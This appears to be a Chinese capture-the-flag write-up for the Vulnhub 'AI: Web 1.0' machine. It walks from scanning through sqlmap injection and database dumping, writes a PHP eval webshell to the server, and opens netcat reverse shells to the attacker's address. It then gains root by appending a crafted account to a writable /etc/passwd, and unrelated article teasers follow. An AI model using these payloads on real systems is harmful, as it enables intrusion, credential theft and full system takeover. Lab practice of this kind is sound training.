Vulnhub-Al-Web-1.0 靶机复现完整过程

一、信息收集

1.主机发现

arp-scan -l

image.png

2.端口扫描

nmap -sV -p-  192.168.200.16

image.png

PORTSTATESERVICEVERSIONMAC Address
80/TCPOpenhttpApache httpd00:0C:29:C4:1B:78 (VMware)

3.目录扫描

python dirsearch.py -u http://192.168.200.16

image.png
扫描出来这两个文件,首先先进入网址查看信息(index.html,这个是网站首页)

二、网站信息

1.网站首页

image.png

2.robots.txt

image.png

2.1 m3diNf0

image.png

2.2 se3reTdir777/uploads/

image.png
这个是有两层目录的,uploads禁止访问, 查看上一级的目录文件情况
image.png
看到,输入框示意输入数字,出现如下结果说明存在SQL注入
image.png
这是一个问题,暂时搁置。

由robots.txt这个文件上面显示里网站那些页面是禁止爬取的,所以二次尝试目录扫描

3.m3diNf0扫描

python dirsearch.py -u http://192.168.200.16/m3diNf0

image.png
访问此目录,发现页面显示的是PHP有关信息,并且可以看到当前权限用户是最低级的和网站的根目录
image.png
image.png

4.se3reTdir777扫描

python dirsearch.py -u http://192.168.200.16/se3reTdir777

image.png

image.png

三、漏洞利用

SQL注入

使用工具:SQLMAP

3.1爆破数据库

python  sqlmap.py -r 1.txt  --batch --dbs

image.png

3.2 爆破数据表

python  sqlmap.py -r 1.txt  --batch -D aiweb1 --tables

image.png

3.3爆破表的中的字段

users表中的信息
python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T user --dump

image.png

systemUser表中的信息
python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T systemUser --dump

image.png
当前密码被base64加密,尝试解密

UserName: t00r  password:FakeUserPassw0rd
UserName:	aiweb1pwn   password:MyEvilPass_f908sdaf9_sadfasf0sa
UserName:	u3er		password:N0tThis0neAls0

目前的情况是:虽然成功爆出数据库的信息,但是并没有可以登陆的后台什么的可以利用,通过sql注入写入数据

绝对路径和权限用户信息

在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径info.php信息里面包含着php的信息,站点在服务器的绝对路径!和权限用户
image.png
image.png

路径:/home/www/html/web1x443290o2sdf92213 
用户:www-data

在刚才信息收集中我们在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径,并且也读到过phpinfo信息,从info.php文件中我们知道了根目录的路径,那现在就可以在uploads/路径下上传文件,通过sqlmap进行写入一个木马文件

尝试使用sqlmap的–os-shell命令getshel

os-shell执行条件有三个:
1.网站必须是root权限
2.网站的绝对路径已知
3.GPC为off(php主动转义的功能关闭)

依次选择 php(default),custom location(s)
根据前面找到的info.php文件暴露的信息,绝对路径选择:uploads的目录是可以成功写入的

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

image.png
image.png

sqlmap写入一句话木马

1.写入一句话木马

<?php @eval($_REQUEST[666]);?> # POST的我传不上去

2.写入文件

sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./123.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/123.php--file-write:去读取文件(当前目录下的123.php)
--file-dest:后面加我们向目标写的文件,
目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,
把这个文件上传到123.php这个地址,现在我们就在uploads这个命令下写好了123.php文件

image.png
image.png
image.png

反弹shell

攻击端:

kali本地监听:nc -lvvp 6666(或者nc -lnvp 或者-lvp)

靶机端:

蚁剑终端上nc反弹:nc -e /bin/bash 192.168.200.14 6666(-e参数不可用)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.14 6666 >/tmp/f
image.png

image.png

提权

进入交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

思路解决方法:

思路1:

sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
发现需要密码
image.png

思路2:

查看有没有一些具有suid权限的命令

find / -perm -4000 2>/dev/null

image.png
查询开放端口

netstat -anpl

image.png
开放了3306端口,但只有本地能登录

思路3:

在交互式shell下输入命令uname -a查看内核版本,当前版本号是4.15.0-58-generic,去看一下有没有内核漏洞

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ uname -a
<eb1x443290o2sdf92213/se3reTdir777/uploads$ uname -a  
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
searchsploit linux kernel 4.15.0-58-generic   # 没有结果
searchsploit linux kernel 4.15.0  # 可以看到好几个做本地提权的

image.png
目标环境没有gcc环境,尽量不要上传.c文件提取

查看当前用户读写权限

查看当前系统里面具有可写权限的目录有哪些:

find / -writable -type d 2>/dev/null

image.png
查看哪些文件具有读写权限:

find / -writable -type f 2>/dev/null

image.png
(最明显的位置,最重要的文件,具有读写权限,一般基本可以止于此步骤,因为之前已经拿到了webshell了,直接将信息写入到此文件中)
**将find查询结果保存: **

find / -writable -type f 2>/dev/null > /tmp/writableFiles

**在蚁剑的/tmp目录就可以看到writableFiles文件,download下来
image.png

wc -l writableFiles 可以看到这个文件有5688行
过滤有用文件,过滤掉以p和s开头的文件

cat writableFiles | grep '^/[^p]' | grep '^/[^s]'

image.png
觉得c0nFil3bd.php这个文件可疑
得到数据库密码和用户名
image.png
/etc/passwd文件,具有写权限(可以直接写入进去,也可以利用命令行)
image.png
添加Zhangc::0:0:root:/root:/bin/bash,这个账号是没有密码的,但是sudo密码验证失败,必须生成一个有密码的账户:
生成Linux 系统用户密钥

┌──(root㉿kali)-[~]
└─# python                       
Python 3.10.8 (main, Nov  4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt
>>> crypt.crypt("123456","zhangcw")
'zhxPr1e7Npazg'
>>> 

写入到/etc/passwd中

echo 'zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash'>>/etc/passwd

读写etc/passwd

zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash

切换到zhangcw用户,输入密码123456

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw    
<1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw                       
Password: 123456
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd
root@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
ot@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
#  flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}  #
#                                                  #
####################################################

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/582787.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++力扣题目150--逆波兰表达式求值

给你一个字符串数组 tokens &#xff0c;表示一个根据 逆波兰表示法 表示的算术表达式。 请你计算该表达式。返回一个表示表达式值的整数。 注意&#xff1a; 有效的算符为 、-、* 和 / 。每个操作数&#xff08;运算对象&#xff09;都可以是一个整数或者另一个表达式。两个…

案例232:基于微信小程序的学生实习与就业管理系统设计与实现

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder …

基于动态窗口的航线规划

MATLAB2016b可以运行 % ------------------------------------------------------------------------- % File : DWA 算法 % Discription : Mobile Robot Motion Planning with Dynamic Window Approach % Author :Yuncheng Jiang % License : Modified BSD Software License A…

C# WPF上位机开发(报表导出)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 对于在工厂上班的小伙伴来说&#xff0c;导出生产数据、生成报表&#xff0c;这是很习以为常的一个工作。之前的文章中&#xff0c;虽然我们也介绍…

如何使用mac电脑,1、使用快捷命令打开访达,2、使用终端命令创建文件,3、使用命令打开创建的文件,并且在vscode中打开

如何使用mac电脑 1、使用快捷命令打开访达 optioncommand空格键 快速进入访达 shiftcmmandn 创建一个空目录 2、使用终端命令创建文件 2.1进入文件夹 在终端页面输入“cd /Users/yunf/Desktop/”并按回车键&#xff08;此时进入到桌面文件夹&#xff0c;如果需要进入到其它…

代码随想录二刷 | 二叉树 |二叉搜索树中的搜索

代码随想录二刷 &#xff5c; 二叉树 &#xff5c;二叉搜索树中的搜索 题目描述解题思路递归法迭代法 代码实现递归法迭代法 题目描述 700.二叉搜索树中的搜索 给定二叉搜索树&#xff08;BST&#xff09;的根节点和一个值。 你需要在BST中找到节点值等于给定值的节点。 返回…

apisix admin api 403 Forbidden(接口请求403)

故事背景 当你通过admin api 接口方式执行相关操作时&#xff0c;例如route、upstream设置&#xff0c;接口返回403 Forbidden&#xff0c; 例如 请求 curl -i "http://192.168.100.1:9180/apisix/admin/routes" -H X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 -X…

【Gradio】1、Gradio 是什么

官网&#xff1a;https://www.gradio.app/ 一、Gradio 是什么 Gradio是一个用于创建机器学习模型交互式界面的 Python 库。通过Gradio&#xff0c;可以快速地为模型构建一个可视化的、易于使用的Web界面&#xff0c;无需编写任何Web前端代码。 Gradio 支持多种不同类型的输入…

从Java 8到Java 17:Spring Boot项目升级的终极指南

Java的世界一直在进步&#xff0c;随着Java 17的发布&#xff0c;众多开发者面临着将他们的Spring Boot应用从Java 8迁移到最新版本的任务。在这篇博客中&#xff0c;我将详细介绍如何平滑、高效地完成这一升级过程。从梳理可能的挑战到实际操作步骤&#xff0c;我将为你的升级…

win32 菜单编程学习1

新建一个Win32空工程; 添加一个main.cpp,添加一个窗口的win32代码; 运行,出来一个窗口,此时没有菜单; 然后在资源中插入菜单; 编辑菜单; 此时自动生成resource.h; 里面包含, #define IDR_MENU1 101 #define ID_TEST1_TEST101 …

嵌入式开发——ADC模拟信号和数字信号

模拟信号和数字信号 模拟信号 自然界中大多数物理量是连续变化的,比如温度、声音、压力等灯,它们在一定时间内,可以有无限多个不同的取值,这些信号就是模拟信号。模拟信号就是指用连续变化的物理量所表示的信号。 自然界中的物理量都需要通过传感器将其转换成电信号后,才能进…

桥接模式-举例

概叙&#xff1a;桥接模式用一种巧妙的方式处理多层继承存在的问题&#xff0c; 用抽象关联取代了传统的多层继承&#xff0c; 将类之间的静态继承关系转换为动态的对象组合关系&#xff0c; 使得系统更加灵活&#xff0c;并易于扩展&#xff0c; 同时有效控制了系统中类的个数…

Python武器库开发-武器库篇之Git创建远程仓库和建立SSH key 免密登陆(三十七)

武器库篇之Git创建远程仓库和建立SSH key 免密登陆(三十七) Git是一种版本控制系统&#xff0c;用于跟踪文件的更改和协调多人开发项目。它可以记录文件的历史更改&#xff0c;协助多人协作开发&#xff0c;并提供分支管理功能。Git是一个分布式系统&#xff0c;意味着每个人在…

听说!Art-DAQ实现了与LabVIEW的无缝连接

前言 阿尔泰科技与时俱进&#xff0c;推出Art-DAQ程序&#xff0c;与LabVIEW无缝连接&#xff0c;形成系统平台体系。持续不断地获取行业新技术&#xff0c;完善自主知识产权产品的研发&#xff0c;为客户提供优质服务。 什么是Labview&#xff1f; 从产品的角度来看&#x…

java项目应用MQTT传输数据

一、概述 近期做的一个项目需要传输数据给第三方。根据协定&#xff0c;采用MQTT进行数据的发送和订阅。一般来说&#xff0c;不通系统进行数据对接&#xff0c;一般采用RESTFul接口&#xff0c;走http。mqtt的话&#xff0c;顾名思义&#xff0c;就是一个消息队列。相比RESTF…

透彻掌握GIT基础使用

网址 https://learngitbranching.js.org/?localezh_CN 清屏 clear重新开始reset

科荣AIO UtilServlet存在任意文件读取漏洞

文章目录 产品简介漏洞概述指纹识别漏洞利用修复建议 产品简介 科荣AIO是一款企业管理软件&#xff0c;提供企业一体化管理解决方案。它整合了ERP&#xff08;如进销存、财务管理&#xff09;、OA&#xff08;办公自动化&#xff09;、CRM&#xff08;客户关系管理&#xff09…

阿里云数据库PolarDB费用价格_MySQL版_PolarDB_分布式版

阿里云数据库PolarDB租用价格表&#xff0c;云数据库PolarDB MySQL版2核4GB&#xff08;通用&#xff09;、2个节点、60 GB存储空间55元5天&#xff0c;云数据库 PolarDB 分布式版标准版2核16G&#xff08;通用&#xff09;57.6元3天&#xff0c;阿里云百科aliyunbaike.com分享…

Leetcode—1572.矩阵对角线元素的和【简单】

2023每日刷题&#xff08;七十三&#xff09; Leetcode—1572.矩阵对角线元素的和 实现代码 class Solution { public:int diagonalSum(vector<vector<int>>& mat) {int n mat.size();if(n 1) {return mat[0][0];}int sum 0;int i 0, j n - 1;while(i &…

Bean 生命周期 和 SpringMVC 执行过程

这里简单记录下 Bean 生命周期的过程&#xff0c;方便自己日后面试用。源码部分还没看懂&#xff0c;这里先贴上结论 源码 结论